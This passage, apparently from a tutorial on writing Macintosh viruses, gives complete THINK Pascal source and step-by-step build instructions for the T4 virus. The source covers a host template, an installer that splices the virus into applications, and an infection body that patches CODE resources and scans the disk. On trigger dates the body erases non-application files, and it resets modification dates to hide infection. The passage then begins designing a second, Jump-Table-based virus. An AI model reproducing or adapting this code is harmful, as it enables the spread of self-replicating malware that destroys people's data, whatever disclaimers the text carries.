byte) of that resource. Consequently, if there is an encounter of the two viruses, the old virus will 
infect the newer virus, but the newer will not infect the old, since it looks at the actual code signature 
which is embedded within the CODE resource. The older version relied entirely on the 'STR ' 
resource counter for its decisions about infection. As a result, if one has an application that does not 
call _InitDialogs, with no 'STR ' resource, it would have opened it, examined it, and it would have 
closed it without attaching an infection resource. On another run, it would have opened it again and 
would have gone through the same cycle, therefore finding an obstacle in its directory scan algorithm.
For example, a script editor application, would present a barrier against other
infections on the same disk. The rewritten version, bypasses that problem, by looking whether an 
application can be infected. When the virus opens a file, it will determine whether an application can 
be infected, and if not, it will skip that file. The older version also had no limit on the number of 
characters for a directory filename scan, which would cause it to crash if the directory complete 
pathname was longer than 255 chars. The newer version will scan only as deep as it can go, provided 
the pathname is shorter than 255. The older version altered boot code that had to do with the loading 
of extensions. The newer version does not. The older version assumed the alias name 'Disinfectant' 
(renaming itself into it) so it would confuse the user into thinking that Disinfectant was making 
changes. In the newer version that is not possible anymore, because the Antiviral programs took this information
from the low memory global "CurAppName", but now take it from the process manager using probably "GetProcessInfo".
The older version stopped scanning when an error<>noerr occurred. This means that
if the infected application was on a server with locked folders, it would stop on the first available 
folder with insufficient privileges that generated the error. The newer version, checks only for fnferr, 
which is the correct way to pause the recursive subroutine. Consequently, the newer version will 
encounter the insufficient privileges error, but will continue scanning if found on a server.
The timing of the virus is based on the phrase 'AMORE FINITUS'. Take the English Alphabet, count 
it, starting with A=1, and the months on which the virus activates are the letters of the phrase 
'AMORE FINITUS'.
The hours are a plain 12-hour cycle starting with 9-10 for January, 10-11 for February, etc.
The complete project consists of several smaller projects in THINK PASCAL:
1)T4FirstHost-(Generates the first dummy application to host the body of the T4virus)
2)T4Main-(Generates the virus body)
3)T4Appl-(Runs the virus as an application for debugging)
4)T4Install-(Joins the virus body along with the application T4FirstHost)
5)Scan-(Scans the hard drive in exactly the same manner that the virus does)
The installation of the virus goes as follows:
Open the project T4FirstHost. Select "Build Application...". Name it "T4FirstHost".
Open the project T4Main. Select "Build Code Resource...". Name it "T4body".
From the Finder, duplicate the application T4FirstHost.Name it "T4FirstHost Copy".
Open the project T4Install. Adjust the pathnames to reflect your folder
structure then select "Go".
If all is successful, the application T4FirstHost Copy is a ready infected
application with the T4(D) virus. BE VERY CAREFULL WHEN YOU RUN THIS APPLICATION. 
PREFERABLY, DON'T RUN IT AT ALL. IT WILL INFECT YOUR APPLICATIONS IN YOUR 
HARD DISK IN THE BEST CASE, IT WILL ERASE YOUR HARD DRIVE IN THE WORST. THE 
AUTHOR DOES NOT BARE ANY RESPONSIBILITY IF YOU WANT TO EXPERIMENT WITH 
THE VIRUS. IN PARTICULAR IF YOU TRY TO RELEASE THE VIRUS, YOU ARE LIABLE TO 
CRIMINAL PENALTIES. YOU HAVE BEEN WARNED.
If however you want to track the virus, you can use an antiviral tool such as GateKeeper to monitor 
the operations performed by T4, provided it is not an erase date, cause then GateKeeper won't stop it 
from erasing your files.

THE FIRST HOST APPLICATION

{*********************************************************}
{Test prototype host for the T4 virus. It hosts the virus simulating a real}
{application}
{WARNING: DO NOT RUN THIS PROGRAM;SELECT BUILD APPLICATION ONLY}
{*********************************************************}
program T4FirstHost;
{$I-}
{the following procedures are needed to simulate the conditions on the}
{infected appl}
procedure bsrvirus;
 inline $6100, $0010;
procedure applicationcode;
 inline $4E71, $4E71, $4E71, $4E71;
begin
 initgraf(@theport);
 initfonts;
 initwindows;
 initmenus;
 teinit;
 bsrvirus;
 applicationcode;
end.

When you select "Build Application" on the above file, a template host is created, which is a 
totally useless application, unless the virus is attached onto it. I have arranged the branching to take 
place correctly, so when the virus is installed, it will immediately activate. NOTE: If you try to run 
this app without first installing the virus onto it, you can tell what will happen. The PC will take a 
branch into Twilight Zone, since the "bsrvirus" procedure will branch exactly immediately after the 8 
bytes of "applicationcode", which is God knows where. When we install the virus later the "bsrvirus" 
will branch into the appended virus segment, therefore activating the virus. So, here comes the 
Installer:

THE T4 INSTALLER APPLICATION

{prototype installer for the T4 virus}
{This program assumes the existence of the file "T4FirstHost copy" to which it attaches the virus 
body, after modifying the header slightly to branch to the correct places. It opens the two resource 
files (their pathnames must be corrected to reflect your directory structure) and manipulates the main 
CODE resource of the two files. Errors are written out as they occur during runtime.}
{WARNING:DO NOT RUN UNLESS YOU HAVE BUILT THE APPLICATION "First Host Copy", 
FIRST}
program t4install;
 label 1000;
 type
  headercode = array[1..6] of longint;
  headerptr = ^headercode;
  headerhandle = ^headerptr;
 var
  refnum1, refnum2, attrs: integer;
  err: oserr;
  thevirus, thehost, icon, copy: handle;
  theheader: headerhandle;
  tr: rect;
  str1, str2: str255;
begin
 setrect(tr, 100, 100, 400, 400);
 setTextRect(tr);
 showtext;
 str1 := 'Hard Disk:T4:T4Main:T4body';
 str2 := 'Hard Disk:T4:T4FirstHost:T4FirstHost Copy';
 refnum1 := openresfile(str1);
 err := reserror;
 writeln('openresfile:', err);
 if err <> 0 then goto 1000;
 thevirus := getresource('CODE', 1);
 writeln('getresource:', reserror);
 hlock(thevirus);
 writeln('hlock:', memerror);
 refnum2 := openresfile(str2);
 err := reserror;
 writeln('openresfile:', err);
 if err <> 0 then goto 1000;
 icon := geticon(maxint);
 copy := newhandle(128);
 hlock(icon);
 hlock(copy);
 blockmove(icon^, copy^, 128);
 hunlock(copy);
 hunlock(icon);
 addresource(copy, 'ICON', maxint, '');
 writeln('addresource:', reserror);
 thehost := getresource('CODE', 1);
 writeln('getresource:', reserror);
 attrs := getresattrs(thehost);
 writeln('getresattrs:', reserror, attrs);
 setresattrs(thehost, 0);
 writeln('setresattrs:', reserror);
 hlock(thehost);
 writeln('hlock:', memerror);
 writeln('host:', gethandlesize(thehost), ' virus:', gethandlesize(thevirus));
 theheader := headerhandle(thevirus);
 theheader^^[1] := $48E70080;	{movem.l	a0,-(sp)	;save a0}
 theheader^^[2] := $41FAFFFA;	{lea		*-$0006,A0	;load virus entry point}
 theheader^^[3] := $21C809CE;	{move.l	a0,$09CE ;put in toolscratch}
 theheader^^[4] := $4CDF0100;	{movem.l	(sp)+,a0	;restore a0}
 theheader^^[5] := $60060000;	{bra.s	*+$0006	;jump off next}
 theheader^^[5] := bor(theheader^^[5], integer('T4'));
 theheader^^[6] := longint('VIRS');
 writeln('handandhand:', handandhand(thevirus, thehost));
 changedresource(thehost);
 writeln('changedresource:', reserror);
 hunlock(thevirus);
 hunlock(thehost);
 closeresfile(refnum2);
 writeln('closeresfile:', reserror);
 closeresfile(refnum1);
 writeln('closeresfile:', reserror);
 disposehandle(icon);
 disposehandle(copy);
1000:
end.

The file is actually pretty self explanatory. We use a special interpretation of the virus header 
as a handle of an array of 6 longints, to be able to set the desired header quickly. There are two 
resource files that get manipulated.  We get refnums to both of them, get a hold of the virus CODE 
segment, we lock it, then we create a copy of the icon that the virus uses, we add the icon to the file, 
and then we masage the virus header to put some vital information on it. Specifically, we save register 
A0, load the virus entry point into it, and put it in the toolscratch low memory global. Then we restore 
A0, and insert some virus branching instructions to its main code. In order to understand exactly the 
format of a code segment resource, look at the THINK Pascal manual, where those formats are 
described. For those who don't have the manual, here's what a code resource header looks like, as built 
by THINK Pascal:
Offset			Contents
0			BRA.S	*+$10 (branch to header code)
2			$0000		(unused)
4			'TYPE'	(resource type)
8			$000A	(resource id)
10($A)			$0000		(unused)
12($C)			$0000		(unused)
14($E)			$0000		(unused)

Of course we don't have much use for the above stuff, so we modify the header to suit our 
needs. Note that the virus signature gets loaded in the last six bytes of the header. Note the call to 
"HandAndHand" which actually appends the virus code segment to the host code, by duplicating the 
handle involved. If, during installation you see any non-zero error codes written to output, this means 
that the specified routine has failed for some reason. Check your pathnames first. If they are unset, the 
program will fail.

THE T4 VIRUS MAIN SEGMENT

{WARNING:THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF THIS 
PROGRAM}
{*********************************************************}
{This unit is the Virus in Malignant form. After all the procedures have been tested,}
{the Virus can be installed from the executable form of this unit}
{*********************************************************}
{COMPILER VARS:}
{APPL=TRUE:Execution of the virus as an application for debugging}
{		  =FALSE:Creates the final virus module}
{		   WARNING:If APPL=TRUE the application virus will CORRUPT the file it 
proccesses}
{as it inserts A5 relative code which will NOT work on other applications}
{DEBUG=TRUE:includes code for displaying system errors}
{		    =FALSE:Just beeps when error happens}
{*********************************************************}
{VERSION: 7.6.0 of Thursday November 7 1996 (MUTATED VERSION "E" with new icons)}
{*********************************************************}
{$IFC APPL}
{$D+}
{$ELSEC}
{$D-}
{$ENDC}
{$IFC APPL}
program T4debug;
{$I-}
{$ELSEC}
unit T4infect;
interface
	procedure Main;
implementation
{$ENDC}
{$IFC APPL}
{*********************************************************}
{'Here' calculates its own address (the address of '*' below) and is needed to give the application 
version of T4 some idea of where its executable code resides in relation to the actual loaded CODE 
segments of this program. It is used only by the APPL version}
{*********************************************************}
procedure Here (var addr: ptr);
inline
{from THINK PASCAL: *PEA	$xx(A6);to push the address of 'addr'}
$48E7, $00C0,	{MOVEM.L	A0-A1,-(SP)	;save old registers}
$41FA, $FFF6, 	{LEA		-8(PC),A0	;load pc-8 in a0}
$226F, $0008, 	{MOVEA.L	8(SP),A1	;load address of 'addr' in a1}
$2288, 		{MOVE.L	A0,(A1)	;load pc-8 in 'addr'}
$4CDF, $0300, 	{MOVEM.L	(SP)+,A0-A1	;restore regs}
$584F;		{ADDQ	#4,SP		;pop argument}
{*********************************************************}
{If the application version gets the 'bomb', this is the clean way out...}
{*********************************************************}
	procedure DSError;
	begin
	exittoshell;
	end;
{$ENDC}
{*********************************************************}
{This is the actual 'infection' procedure (also the virus 'body')}
{*********************************************************}
procedure Main;
label 1000, 1001;
const
 initDtrap = $A97B;		{'InitDialogs' trap}
 nop = $4E71;			{680x0 no operation}
 charscanningdepth = 255;	{maximum length of pathname}
type
  {selectors for type of patch to code segment}
patchtype = (moveorclear, pea);
{interpretation of CODE resource as arrays of integers}
wordarray = array[0..maxint] of integer;
wordptr = ^wordarray;	{pointer to array above}
wordhandle = ^wordptr;	{handle to array above}
scratch8bytes = ptr;{scratch area for use by applications at $000009CE}
toolscratch = ^scratch8bytes;
cinfopbhandle = ^cinfopbptr; {directory scan parameter block handle}
HParamBlockHandle = ^HParmBlkPtr; {parameter block for PBHSetFInfo}
var
 scratch: toolscratch; {scratch is the address $000009CE as a pointer}
virusaddr: ptr;	{virus loading address}
err: oserr;	{general error}
opened,	{opened (to be infected) appl's reference number}
active,	{Main (running) application's reference number}
lastresource, index, i, j,	{general counters}
vrefnum,	{volume reference number}
initDoffset,	{offset of trap _InitDialogs into CODE segment}
attributes	{resource file or resource attributes}
	: integer;
h,		{CODE resource to be patched handle}
icon		{icon handle coming from Main resource file}
: handle;
segsize,	{CODE segment to be patched, size}
virussize	{size of virus CODE module}
: longint;
iconrect,	{rectangle for displaying ICON}
wbounds	{bounds rect for window (debug or display)}
: rect;
thewindow,	{window for display}
oldport	{to save the old port}
: windowptr;
cipbh: cinfopbhandle;	{directory scan parameter block handle}
pathname: str255;	{complete pathname of application to be infected}
scanname: string[31];{partial file name returned by the scanning proc}
theworld: sysenvrec;	{default system vars}
foundone,	{TRUE if there is a candidate for infection}
Busy,	{TRUE if resource file is opened}
sizeok,	{TRUE if CODE size + VIRUS size <=32767}
hasinitDialogstrap,{TRUE if  $A97B resides somewhere in a CODE resource}
reinfect, 	{TRUE if VIRUS counter is a multiple of 40}
canbeinfected,	{= sizeok AND hasinitDialogstrap}
show		{TRUE if counter is a multiple of 10}
: boolean;
patch: patchtype;	{moveorclear or pea, depending on the patch we perform}
Delete: boolean;	{If TRUE, all hell breaks loose}
ApplicationFile, 	{TRUE if type=APPL or Finder or MultiFinder}
SystemFile: boolean;	{TRUE if SystemFile}
Frame: integer;	{Frames for Cursor Animation}
OldTicks: Longint;	{For Cursor Animation}
theAnimatedCursor: array[0..7] of CursHandle;{the Animated Cursors}
{$IFC NOT APPL}
{*********************************************************}
{Upon entry to a procedure, THINK does a save on D7/A2-A3. To avoid any complications we save 
and restore all registers ourselves, just in case...}
{*********************************************************}
procedure SaveRegisters;
inline
$48E7, $FFFC;	{MOVEM.L	D0-D7/A0-A5,-(SP)}
procedure RestoreRegisters;
inline
$4CDF, $3FFF;	{MOVEM.L	(SP)+,D0-D7/A0-A5}
{$ENDC}
{$IFC DEBUG}
{*********************************************************}
{On errors returned by OS, this is some sample code that displays them}
{*********************************************************}procedure DebugWindow 
(str: str255);
begin
setrect(wbounds, 156, 100, 756, 200);{set window coordinates to something big}
thewindow := newwindow(nil, wbounds, '', true, altdboxproc, pointer(-1), false, 0);	{bring new 
window}
getport(oldport);	{save old port}
setport(thewindow);	{set port to debug window}
moveto(25, 65);	{move pen to location}
textfont(geneva);
textsize(9);
drawstring(str);	{draw the wanted string}
setport(oldport);	{set port to saved port}
while not button do ;
while button do ;
disposewindow(thewindow);	{dispose window}
end;
{$ENDC}
{*********************************************************}
{The following is Here for debugging the code segment using 2 different ways depending on the 
variables DEBUG and APPL.}
{*********************************************************}
function IsErr (err: oserr): boolean;
{$IFC DEBUG}
var
str: str255;
{$ENDC}
begin
if err <> noerr then
begin
{$IFC APPL}
writeln(err);
{$ELSEC}
{*sysbeep(2);*}
{early versions of the virus beeped when an error occured}
{$IFC DEBUG}
numtostring(err, str);
DebugWindow(str);
{$ENDC}
{$ENDC}
IsErr := true;
end
else
IsErr := false;
end;
{*********************************************************}
{Evil Dates determines whether the Date is an erase date, or just a replication date}
{*********************************************************}
function EvilDate: boolean;
var
 theDate: DateTimeRec;
 temp: boolean;
begin
 GetTime(theDate);	{Get the Current Date to determine if it's an evil date}
 with theDate do
 begin
 temp := (Month = 1) and (Day = 1) and (Hour = 9);
{Days make 'AMORE FINITUS'}
temp := temp or ((Month = 2) and (Day = 13) and (Hour = 10));
temp := temp or ((Month = 3) and (Day = 15) and (Hour = 11));
temp := temp or ((Month = 4) and (Day = 18) and (Hour = 12));
temp := temp or ((Month = 5) and (Day = 5) and (Hour = 13));
temp := temp or ((Month = 6) and (Day = 6) and (Hour = 14));
temp := temp or ((Month = 7) and (Day = 9) and (Hour = 15));
temp := temp or ((Month = 8) and (Day = 14) and (Hour = 16));
temp := temp or ((Month = 9) and (Day = 9) and (Hour = 17));
temp := temp or ((Month = 10) and (Day = 20) and (Hour = 18));
temp := temp or ((Month = 11) and (Day = 21) and (Hour = 19));
temp := temp or ((Month = 12) and (Day = 19) and (Hour = 20));
end;
EvilDate := temp;
end;
{*********************************************************}
{SpinCursor Spins the Cursor watch so that the user is informed that the mac is not hanged}
{*********************************************************}
procedure SpinCursor;
var
 NewTicks: longint;
begin
 NewTicks := TickCount;
 if abs(NewTicks - OldTicks) >= 50 then
 begin
  frame := (frame + 1) mod 8;
  SetCursor(theAnimatedCursor[frame]^^);
  OldTicks := NewTicks;
 end;
end;
{*********************************************************}
{gotoffset returns the offset of 'key' found in the data handle h, of size size. Returns false and offset=-
1 if 'key' not found}
{*********************************************************}
function GotInitDTrap (h: handle;	{CODE handle to examine}
		size: longint;		{size of the handle}
		var offset: integer): boolean;	{returned offset as an integer from start of 
handle}
var
 off: integer;
 found: boolean;
begin
 hlock(h);
 offset := -1;
 found := false;
 for off := 2 to size div 2 do{size is in bytes. Since we access ints, it's half}
 if wordhandle(h)^^[off] = initDtrap then
  if (wordhandle(h)^^[off - 1] = $42A7) or (band($F000, 		wordhandle(h)^^[off - 1]) = 
$2000) then
   begin	{this is the first case. The form of the CODE resource}
    patch := moveorclear; {is CLR.L -(SP) or MOVE.L An/Dn -(SP) followed by}
   found := true;	{_InitDialogs}
   offset := off;	{set offset to off}
   leave;	{exit for loop}
  end
 else if (band(wordhandle(h)^^[off - 2], $FF00) = $4800) then
  begin	{this is the second case. The form of the CODE resource}
   patch := pea;	{is PEA xxxx(A5) followed by _InitDialogs}
   found := true;
   offset := off;	{set offset to off}
   leave;	{exit loop}
  end;
 GotInitDTrap := found;
 hunlock(h);
end;
{*********************************************************}
{gotLONGoffset returns the offset of a longint 'key' found in the data handle h, of size size Returns 
false and offset=-1 if 'key' not found. It is a slight variation of the function above}
{*********************************************************}
function GotSignature (h: handle;	{CODE handle to examine}
				size: longint): boolean;
var
 off: integer;
 found: boolean;
begin
 hlock(h);
 found := false;
 for off := 2 to size div 2 do {size is in bytes. Since we access longs, it's one half}
  if wordhandle(h)^^[off] = integer('T4') then
   if (wordhandle(h)^^[off + 1] = integer('VI')) and (wordhandle(h)^^[off + 2] = integer('RS')) then
    begin {segment contains data 'T4VIRS'}
     found := true;	{}
     leave;	{exit for loop}
    end;
   GotSignature := found;
  hunlock(h);
end;
{*********************************************************}
{If the Application is infected the following returns TRUE, FALSE otherwise}
{*********************************************************}
function IsInfected: boolean;
label 1002;
var
index: integer;
ItIs: boolean;
begin
 ItIs := False;
 lastresource := count1resources('CODE');	{how many CODE segments?}
if lastresource > 0 then	{if none, bad appl}
 begin	{start looking}
  for index := 1 to lastresource do
   begin
    h := get1indresource('CODE', index);	{get CODE segment}
    if IsErr(reserror) then goto 1002;
    segsize := sizeresource(h);	{get segment's size}
    if IsErr(reserror) then goto 1002;
    ItIs := GotSignature(h, segsize);
    if ItIs then leave
    else releaseresource(h);	{release unwanted mem}
  end;{for index}
 end;{if lastresource}
1002:
 IsInfected := ItIs;
end;
{*********************************************************}
{the following examines whether an application is infected, not infected or can be reinfected. It also 
opens the resource fork of the application to be infected so that we can process later the patch. Upon 
exit from this routine, we have: 1)opened the resource file to be infected. 2)a CODE segment handle h 
of the CODE resource to be infected, 3) the code id size and 4)the InitDialogs trap offset in 
initDoffset. If the Global variable "Delete" is true, then the scanning procedure goes through the 
entire disk erasing all the non application files (i.e. all the files of not type APPL or Finder or 
MultiFinder). The virus will not erase the Main System Files such as the System or System Update or 
System Enabler}
{*********************************************************}
procedure ExamineApplication;
label 1002;
const
ThreeK = 3072;
var
index: integer;
begin
 sizeok := false;	{size NOT ok to start}
 hasinitDialogstrap := false;	{does NOT have InitDialogs trap}
 canbeinfected := false;	{cannot be infected, assume}
 err := rstflock(pathname, vrefnum);	{unlock, just in case}
 opened := openrfperm(pathname, 0, fsrdwrshperm); {open resource file}
 err := ResError;
 Busy := (err <> noErr) or (opened = active); {true if somehow resource file is used}
 if not Busy then	{don't infect Busy apps}
 begin
  attributes := getresfileattrs(opened); {maybe it's read only}
 if band(attributes, mapreadonly) = mapreadonly then
  begin
  attributes := attributes - mapreadonly + mapchanged;{clear old attributes}
  setresfileattrs(opened, attributes);	{set new flags}
  end;
 useresfile(opened);	{make current just in case}
  reinfect := TickCount mod 100 = 66; {reinfect with probability 1/100}
  if not IsInfected or reinfect then	{it is not infected or to be reinfected}
  begin	{look if it is a candidate for infection}
   lastresource := count1resources('CODE'); {how many CODE segments?}
  if lastresource > 0 then	{if none, bad appl}
   begin	{start looking}
   for index := 1 to lastresource do
    begin
     h := get1indresource('CODE', index);	{get CODE segment}
     if IsErr(reserror) then goto 1002;
     segsize := sizeresource(h);	{get segment's size}
     if IsErr(reserror) then goto 1002;
     hasinitDialogstrap := GotInitDTrap(h, segsize, initDoffset);
     if hasinitDialogsTrap then sizeok := segsize + virussize <= maxint;
    canbeinfected := sizeok and hasinitDialogstrap;
    if canbeinfected then leave
    else releaseresource(h);	{release unwanted mem}
  end;{for index}
 end;{if lastresource}
 end;{if not IsInfected}
 end;{if not Busy}
1002:
 if not Busy and not canbeinfected then
 begin
 closeresfile(opened);{if not us, or if not Busy, or cannot be infected, close it}
 PurgeMem(ThreeK);	{Purge Unwanted Memory}
 end;
 foundone := canbeinfected;
end;
{*********************************************************}
{The following brings the next clean application from the directory. It returns the complete pathname 
of the next app in the hard drive that does not contain a cntr resource of id=32767 and is not running. 
Implemented recursively It will scan directories as deep as determined by the constant 
charscanningdepth}
{*********************************************************}
procedure NextUninfectedApplication (dirid: longint);
var
 indx: integer;
 err: oserr;
begin
 indx := 0;
 repeat
  indx := indx + 1;
  with cipbh^^ do
   begin
    ionameptr := @scanname;
    iofdirindex := indx;
    iodirid := dirid;
    iovrefnum := 0;
    err := pbgetcatinfo(cipbh^, FALSE);
    if (err <> noerr) and (err <> fnferr) then
    if IsErr(err) then ;
    if err = noerr then
     begin
      if length(pathname) + length(scanname) <= charscanningdepth then		{don't look 
deeper than charscanningdepth chars}
     begin
      pathname := concat(pathname, ':', scanname);	{stack}
      if bittst(@ioflattrib, 3) then	{directory}
       NextUninfectedApplication(iodirid)
      else
       begin
        ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and 
(ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
        SystemFile := pos(scanname, 'System') <> 0;
        if not Delete and ApplicationFile then
         ExamineApplication{if type=APPL}
        else if Delete and not ApplicationFile and not SystemFile then
         err := HDelete(vrefnum, 0, pathname);
        end;
        SpinCursor;
        if not foundone then 							 {unstack only if we 
haven't found one yet}
        begin
         i := length(pathname); j := i;
        while pathname[i] <> ':' do i := i - 1;
        pathname := omit(pathname, i, j);
       end;{if not foundone}
      end;{if length ok}
    end;{if err=noerr}
  end;{with cipbh^}
 until (err = fnferr) or foundone;
end;
{*********************************************************}
{ShowMessage displays a little window with the icon of a virus or if the icon is missing, the name 
T4}
{*********************************************************}
procedure ShowMessage;
begin
setrect(iconrect, 1, 1, 33, 33);
setrect(wbounds, 50, 50, 83, 83);
thewindow := newwindow(nil, wbounds, '', true, plainDbox, pointer(-1), false, 0);
getport(oldport);
setport(thewindow);
UseResFile(active);
icon := GetResource('ICON', maxint);
if icon <> nil then	{if ICON resource present then plot}
 ploticon(iconrect, icon)
else	{ICON is missing. Write "T4"}
 begin
  textfont(systemfont);
  textsize(12);
  moveto(10, 20);
  drawstring('T4');
 end;
delay(100, segsize);	{delay for 100 ticks}
setport(oldport);
disposewindow(thewindow);
end;
{*********************************************************}
{If the ResProtected attribute is on, we cannot modify the resource. So, clear it}
{*********************************************************}
procedure ClearResProtected (h: Handle);
begin
attributes := getresattrs(h);
if band(attributes, resprotected) = resprotected then
 setresattrs(h, attributes - resprotected);{clear attributes so we can write}
end;
{*********************************************************}
{This is the actual patching of the code of the infected file. Adds the new branching instructions 
depending on whether the CLR.L or the PEA instruction was used in the modified code.}
{*********************************************************}
procedure PatchCode;
begin
hlock(h);
case patch of
 moveorclear: 
   begin
 {BSR  (segsize - 2 * initDoffset)}
    wordhandle(h)^^[initDoffset - 1] := $6100;
    wordhandle(h)^^[initDoffset] := segsize - 2 * initDoffset;
   end;
 pea: 
  begin
 {BSR  (segsize + 2 - 2 * initDoffset)}
   wordhandle(h)^^[initDoffset - 2] := $6100;
   wordhandle(h)^^[initDoffset - 1] := segsize + 2 - 2 * initDoffset;
   wordhandle(h)^^[initDoffset] := nop;	{NOP}
  end;
 end;	{case patch}
 hunlock(h);
end;
{*********************************************************}
{Add virus signature, resource type cntr to infected file if not already in}
{note that if someone removes the cntr signature, a double infection will occur.}
{*********************************************************}
procedure AddIcon;
begin
{*********************************************************}
{Add virus ICON to infected file if not already in}
{*********************************************************}
UseResFile(active);
icon := GetResource('ICON', maxint); {will bring it from  opened resfile}
if icon <> nil then	{add icon resource if present}
 begin
  DetachResource(icon);
  UseResFile(opened);
  AddResource(icon, 'ICON', maxint, '');
  end;
end;
{*********************************************************}
{The following routine corrects the modification date so that it doesn't show after the infection}
{*********************************************************}
procedure SetModificationDate;
label	1002;
var
ParamBlock: HParamBlockHandle;	{parameter block for PBHSetFInfo}
err: OsErr;
begin
ParamBlock := HParamBlockHandle(NewHandle(SizeOf(HParamBlockRec)));
if isErr(MemError) then	goto 1002;	{Exit if we can't get the memory}
HLock(Handle(ParamBlock));
with ParamBlock^^ do
 begin
  ioFDirIndex := 0;
  ioNamePtr := @pathname;
  err := PBHGetFInfo(ParamBlock^, FALSE);
  ioFlMdDat := ioFlCrDat;
  err := PBHSetFInfo(ParamBlock^, FALSE);
 end;
HUnlock(Handle(ParamBlock));
DisposeHandle(Handle(ParamBlock));
1002:
end;
begin			{Main body}
{$IFC APPL}
Here(virusaddr);
{$ELSEC}
SaveRegisters;
initdialogs(nil);
initcursor;
scratch := pointer($09CE); {fetch virus entry point stored there from the header instructions}
virusaddr := scratch^;
{$ENDC}
active := curresfile;	{get current resource file}
lastresource := count1resources('CODE');{how many CODE segments current?}
for index := 1 to lastresource do
 begin
 h := get1indresource('CODE', index);
 segsize := sizeresource(h);	{calculate segment size}
{*********************************************************}
{The next statement is pretty tricky: If a CODE segment is already loaded, and contains this^ very 
code, (i.e. the virus), then the master pointer returned by the resource manager should be the loading 
point of the application. So, if the virus address falls between loadingaddress and loadingaddr+size of 
segment, we found ourselves!}
{*********************************************************}
if (ord(stripaddress(h^)) <= ord(stripaddress(virusaddr))) and (ord(stripaddress(virusaddr)) <= 
ord(stripaddress(h^)) + segsize) then
 begin
  i := index;
  leave;
 end;
end;
if i > 0 then
 begin
{*********************************************************}
{This is another clever calculation. We have been given 3 things: 1) The entry point of the segment 
that contains the virus code, 2)The virus entry point address, and 3) the size of the entire segment. We 
calculate then the DYNAMIC size of the virus! Note that this will always work, even if we change the 
source code. Also one has to be careful not to use the pointer headers, so we use 'StripAddress'}
{*********************************************************}
virussize := ord(stripaddress(h^)) + segsize -(ord(stripaddress(virusaddr)));
{Here we can change the name of the current app}
Delete := EvilDate;	{Determine if  we are to Erase volume}
show := TickCount mod 10 = 5;	{show icon with probability 1/10}
if IsErr(sysenvirons(1, theworld)) then {get the environment}
 goto 1001;
pathname := '';
scanname := '';
vrefnum := theworld.sysvrefnum;
if IsErr(setvol(nil, vrefnum)) then	{set startup volume}
 goto 1001;
if IsErr(getvol(@pathname, vrefnum)) then{get startup volume}
 goto 1001;
foundone := false;			{tentativelly}
opened := 0;
theAnimatedCursor[0] := GetCursor(WatchCursor);
for frame := 1 to 7 do
 theAnimatedCursor[frame] := GetCursor(-6078 + frame - 1);{Get Cursors from System File}
frame := 0;
OldTicks := TickCount;
cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec)));
if IsErr(memerror) then goto 1001; {exit if we can't get the memory}
hlock(handle(cipbh)); {lock to use}
NextUninfectedApplication(fsrtdirid); {search for next uninfected appl}
hunlock(handle(cipbh));		{unlock to free}
disposehandle(handle(cipbh));	{dispose of}
InitCursor;
if foundone then
 begin
{$IFC DEBUG}
  DebugWindow(pathname);
{$ENDC}
{we have the code resource in the handle h, so now we can operate on it}
{first change the code attributes}
 ClearResProtected(h);
 if IsErr(reserror) then goto 1000;
 PatchCode;
 if IsErr(ptrandhand(virusaddr, h, virussize)) then goto 1000;
 changedresource(h); {mark change permanent}
 if IsErr(reserror) then goto 1000;
{The previous call is where the virus will fail if there are}
{AntiViral programs running.}
 updateresfile(opened);
 if IsErr(reserror) then
 goto 1000;
 if not reinfect then AddIcon;
 if show then ShowMessage;
 end;		{if foundone}
1000:
useresfile(active); {restore active resource file}
 if foundone then closeresfile(opened); {close resource fork}
{h was disposed when closeresfile was called. Same goes for all the foreign resources}
 if foundone then SetModificationDate;
1001:
{$IFC NOT APPL}
 RestoreRegisters;	{restore leftout regs}
{$ENDC}
 end;{if i>0}
end;	{Main body}
{$IFC APPL}
begin
initgraf(@theport);
initfonts;
initwindows;
initmenus;
teinit;
initdialogs(@DSError);
Main;
{$ENDC}
end.

The program should be quite easy for you to analyze with all these comments. Pay particular 
attention to the actual "patching" code, where we calculate the branching offsets. This point along 
with the calculations on getting the entry address for the virus are the only two things which are of 
interest. The rest of the code is quite trivial. Finally we set the modification date so that the virus does 
not leave a trace on the dates of the infected files.

THIRD EXAMPLE: THE CODE 32767 VIRUS

DESCRIPTION:

We will follow the writing of a new Macintosh virus, which we will call CODE 32767 virus. The 
name takes from the fact that this virus will add a CODE segment of id 32767 into the infected files. 
The first question is the HOW the virus will infect files. The answer is by the CODE resource 
aforementioned. We go to details.
CODE resources are loaded by the Jump Table as needed. In particular the Jump Table contains 
entries that loads the main CODE resource, and entries that refer to intrasegment calls. The first idea 
would be to change the Jump Table so that it bypasses the regular CODE segment to be loaded first, 
thereby loading CODE 32767 first. The idea is correct. However, the way to implement that, is tricky. 
If we extend the Jump Table say by adding a first entry for our CODE 32767 segment, the idea won't 
work, because there are changes made for which we cannot account. 1)The Length of the JT will 
change, forcing a change on the variable that's 8 bytes off from the beginning of the JT. This can be 
cured, however. 2)The "Above A5" variable will change, since it is 32 + length(JT). This can be cured 
as well. 3)The CODE segment headers will change, since the offset of the first routine's entry is no 
longer xxxx, rather xxxx+8 (remember adding a JT entry amounts to adding the following 8 bytes:
offset of first routine from beginning of segment:(2 bytes)
Instruction that moves the segment number onto the stack for _LoadSeg:(4 bytes) 
	{$3F3C,$xxxx	;MOVE.W	$xxxx,-(SP)}
_LoadSeg trap (2 bytes) 	{$A9F0}
Total:8 bytes.
If we change the JT by adding one more entry, the variables above can be corrected but what cannot 
be corrected is the intrasegment calls, using the register A5. Usually, an intrasegment call from 
within an app has the form: JSR	$xxxx(A5). If we change the JT, the JT information will be 
incorrect, and the JT will translate the call incorrectly. The way to improve on this, is to forget about 
"adding" to the Jump Table one more entry, rather "changing" one of its entries. Which entry? The 
first one of course.
The change will be simple. We will change only the CODE id number of the segment to be loaded, in 
the first entry of the Jump Table.
Example:
**********************************************************
Suppose the Jump Table looks like this before infection:
$00000030		("Above A5" size)
$0000xxxx		("Below A5" size)
$00000010		(Length of Jump Table)
$00000020		(Offset to jump Table from location pointed to by A5)
$188A		(Offset of first routine's entry from beginning of seg)
$3F3C0001		(MOVE.W	#$0001,-(SP))
$A9F0		(_LoadSeg)
$012A		(Offset of first routine's entry from beginning of seg)
$3F3C0002		(MOVE.W	#$0002,-(SP))
$A9F0		(_LoadSeg)
**********************************************************
